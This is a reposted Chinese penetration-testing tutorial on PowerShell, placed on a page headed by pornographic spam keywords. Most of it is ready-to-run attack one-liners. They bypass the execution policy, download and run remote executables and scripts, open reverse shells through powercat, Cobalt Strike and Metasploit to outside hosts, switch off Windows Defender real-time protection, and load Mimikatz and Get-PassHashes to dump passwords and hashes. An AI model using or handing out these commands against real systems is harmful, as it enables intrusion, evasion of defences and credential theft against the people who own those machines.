日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PowerShell使用

發(fā)布時(shí)間:2024/6/3 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PowerShell使用 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

目錄

Windows PowerShell

PowerShell的執(zhí)行策略

繞過執(zhí)行策略執(zhí)行PowerShell腳本

PowerShell的常用文件類命令

PowerShell遠(yuǎn)程下載文件并執(zhí)行

滲透測(cè)試常用的PowerShell命令

Powershell導(dǎo)入文件?


Windows PowerShell

Windows PowerShell是一種命令行外殼程序和腳本環(huán)境,它內(nèi)置在Windows7及其以上的系統(tǒng)中,使命令行用戶和腳本編寫者可以利用.NET Framework的強(qiáng)大功能。PowerShell無須寫到磁盤中,它可以直接在內(nèi)存中運(yùn)行。

各操作系統(tǒng)的PowerShell版本

操作系統(tǒng)PowerShell版本
Windows7、Windows Server20082.0
Windows8、Windows Server20123.0
Windows8.1、Windows Server2012 R24.0
Windows10、Windows Server20165.0

一個(gè)PowerShell腳本其實(shí)就是一個(gè)簡單的文本文件,這個(gè)文件包含了一系列的PowerShell命令,每個(gè)命令顯示為獨(dú)立的一行,PowerShell文件的后綴為.ps1。

在64位的Windows操作系統(tǒng)中,存在兩個(gè)版本的PowerShell,一個(gè)是x64版本的,一個(gè)是x86版本的。這兩個(gè)版本的執(zhí)行策略不會(huì)互相影響,可以把它們看成是兩個(gè)獨(dú)立的程序。x64版本PowerShell的配置文件在? ?C:\Windows\SysWOW64\WindowsPowerShell\v1.0 目錄下。

PowerShell的優(yōu)點(diǎn)

  • Windows7以上的操作系統(tǒng)默認(rèn)安裝
  • PowerShell無須寫到磁盤中,它可以直接在內(nèi)存中運(yùn)行。
  • 可以從另外一個(gè)系統(tǒng)中下載PowerShell腳本并執(zhí)行
  • 很多殺毒軟件檢測(cè)不到PowerShell的活動(dòng)
  • cmd通常會(huì)被殺毒軟件阻止運(yùn)行,而PowerShell不會(huì)
  • PowerShell可以用來管理活動(dòng)目錄

查看PowerShell版本

  • Get-Host
  • 或者
  • $PSVersionTable.PSVERSION
  • PowerShell的簡單使用

    可以執(zhí)行 ctrl+R ,輸入PowerShell 調(diào)出PowerShell,也可以在cmd下輸入powershell進(jìn)入,還可以在cmd下輸入powershell命令,但是在每條命令之前加上powershell help查看PowerShell的幫助。

    PowerShell的執(zhí)行策略

    為防止惡意腳本的執(zhí)行,PowerShell有一個(gè)執(zhí)行策略,默認(rèn)情況下,這個(gè)執(zhí)行策略被設(shè)置為受限。

    我們可以使用:Get-ExecutionPolicy? 命令查看PowerShell當(dāng)前的執(zhí)行策略。它有4個(gè)策略。

    • Restricted:腳本不能運(yùn)行(默認(rèn)設(shè)置)
    • RemoteSigned:本地創(chuàng)建的腳本可以運(yùn)行,但是從網(wǎng)上下載的腳本不能運(yùn)行(擁有數(shù)字證書簽名的除外)
    • AllSigned:僅當(dāng)腳本由受信任的發(fā)布者簽名時(shí)才能運(yùn)行
    • Unrestricted:允許所有的腳本執(zhí)行

    可以看到,我們PowerShell腳本當(dāng)前的執(zhí)行策略是 AllSigned。

    修改PowerShell執(zhí)行策略:

    Set-ExecutionPolicy 策略名 #該命令需要管理員權(quán)限運(yùn)行

    繞過執(zhí)行策略執(zhí)行PowerShell腳本

    在滲透測(cè)試時(shí),需要采用一些方法繞過策略來執(zhí)行PowerShell腳本:

    下載遠(yuǎn)程PowerShell腳本繞過權(quán)限執(zhí)行

    經(jīng)過測(cè)試,在cmd窗口執(zhí)行遠(yuǎn)程下載的powershell腳本,不論當(dāng)前策略,都可以直接運(yùn)行。而powershell窗口不行。

  • #cmd窗口執(zhí)行以下命令
  • powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
  • 在powershell窗口執(zhí)行
  • IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
  • 繞過本地權(quán)限執(zhí)行

    上傳test.ps1到目標(biāo)主機(jī),在cmd環(huán)境下,在目標(biāo)主機(jī)本地當(dāng)前目錄執(zhí)行該腳本

    powershell -exec bypass .\test.ps1

    本地隱藏繞過權(quán)限執(zhí)行腳本

    powershell.exe -exec bypass -W hidden -nop test.ps1
    • ExecvtionPolicy Bypass(-exec bypass):繞過執(zhí)行安全策略,這個(gè)參數(shù)非常重要,在默認(rèn)情況下,PowerShell的安全策略規(guī)定了PoweShell不允許運(yùn)行命令和文件。通過設(shè)置這個(gè)參數(shù),可以繞過任意一個(gè)安全保護(hù)規(guī)則
    • WindowStyle Hidden(-w hidden):隱藏窗口,也就是執(zhí)行完命令后,窗口隱藏
    • -command(-c):執(zhí)行powershell腳本
    • NoProfile(-nop):PowerShell控制臺(tái)不加載當(dāng)前用戶的配置文件
    • NoLogo:啟動(dòng)不顯示版權(quán)標(biāo)志的PowerShell
    • Nonlnteractive(-noni):非交互模式
    • Noexit:執(zhí)行后不退出shell,這在使用鍵盤記錄等腳本時(shí)非常重要?
    • -enc??base64:?把ps腳本編碼成base64來執(zhí)行,實(shí)戰(zhàn)用的最多

    PowerShell的常用文件類命令

    在PowerShell下,命令的命名規(guī)范很一致,都采用了動(dòng)詞-名詞的形式,如Net-Item,動(dòng)詞一般為Add、New、Get、Remove、Set等。PoerShell還兼容cmd和Linux命令,如查看目錄可以使用 dir 或者 ls 。

    文件操作類的PowerShell命令

  • 新建目錄testNew-Item test -ItemType directory
  • 刪除目錄testRemove-Item test
  • 新建文件test.txtNew-Item test.txt -ItemType file
  • 新建文件test.txt,內(nèi)容為 helloNew-Item test.txt -ItemType file -value "hello"
  • 刪除文件test.txtRemove-Item test.txt
  • 查看文件test.txt內(nèi)容:Get-Content test.txt
  • 設(shè)置文件test.txt內(nèi)容tSet-Content test.txt -Value "haha"
  • 給文件test.txt追加內(nèi)容:Add-Content test.txt -Value ",word!"
  • 清除文件test.txt內(nèi)容:Clear-Content test.txt
  • PowerShell遠(yuǎn)程下載文件并執(zhí)行

    cmd窗口下載文件

    管理員權(quán)限才可以下載到C盤目錄下,普通權(quán)限不能下在到C盤下。DownloadFile函數(shù)必須提供兩個(gè)參數(shù)

  • #下載文件到指定目錄
  • powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
  • #下載文件到當(dāng)前目錄
  • powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');
  • cmd窗口下載文件并執(zhí)行(exe)

    遠(yuǎn)程下載木馬文件并執(zhí)行

    powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe

    cmd窗口下載文件并執(zhí)行(powershell腳本)?

    遠(yuǎn)程下載?test.ps1?腳本,直接執(zhí)行,該命令可以繞過powershell的執(zhí)行策略。

    powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

    遠(yuǎn)程下載 powercat.ps1 腳本,并帶參數(shù)運(yùn)行,該命令可以繞過powershell的執(zhí)行策略

    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

    滲透測(cè)試常用的PowerShell命令

    關(guān)閉Windows自帶的Defender防火墻(需要管理員權(quán)限)

    powershell Set-MpPreference -disablerealtimeMonitoring $true

    在cmd窗口下執(zhí)行,將遠(yuǎn)程主機(jī)上的test.exe 下載到本地的D盤下

    powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');

    cmd窗口下利用Powershell反彈NC shell??

  • 在cmd窗口執(zhí)行
  • powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
  • 在powershell窗口執(zhí)行
  • IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
  • cmd窗口下利用Powershell反彈CobaltStrike shell?

  • 在cmd窗口執(zhí)行
  • powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
  • 在powershell窗口執(zhí)行
  • IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
  • cmd窗口下利用Powershell反彈MSF shell?

  • 在cmd窗口執(zhí)行
  • powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
  • 在powershell窗口執(zhí)行
  • IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
  • 遠(yuǎn)程加載PowerShell腳本讀取明文密碼

    需要管理員權(quán)限

  • 在cmd窗口執(zhí)行
  • powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
  • 在powershell窗口執(zhí)行
  • IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
  • ?遠(yuǎn)程加載PowerShell腳本讀取密碼hash值

    需要管理員權(quán)限

  • 在cmd窗口執(zhí)行
  • powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
  • 在powershell窗口執(zhí)行
  • IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
  • Powershell導(dǎo)入文件?

    在大型的Powershell項(xiàng)目下,通常會(huì)有 .ps1 、.psd1?和 .psm1?幾種后綴的文件。如PowerSploit工具

    下面說下這幾種后綴文件的用法。

    • .ps1 文件就是PowerShell腳本文件,該文件內(nèi)容就是powershell語法
    • .psd1?文件是這個(gè)模塊的介紹
    • .psm1?是模塊文件

    對(duì)于 .psm1?和?psd1 文件,可以使用以下命令進(jìn)行導(dǎo)入

  • Import-Module .\PowerSploit.psm1
  • Import-Module .\PowerSploit.psd1
  • 然后輸入命令:Get-Command -Module PowerSploit 查看導(dǎo)入的模塊都有哪些功能

    對(duì)于.ps1文件,既可以使用 ?Import-Module?也可以使用 .?進(jìn)行導(dǎo)入

  • Import-Module .\Get-Information.ps1
  • . .\Get-Information.ps1
  • 注:以上所有的命令都建議在cmd窗口執(zhí)行!!

    參考書籍:《Web安全攻防-滲透測(cè)試實(shí)戰(zhàn)指南》

    相關(guān)文章:PowerSploit收集域信息

    ? ? ? ? ? ? ? ? ??一些值得收藏的PowerShell工具

    總結(jié)

    以上是生活随笔為你收集整理的PowerShell使用的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。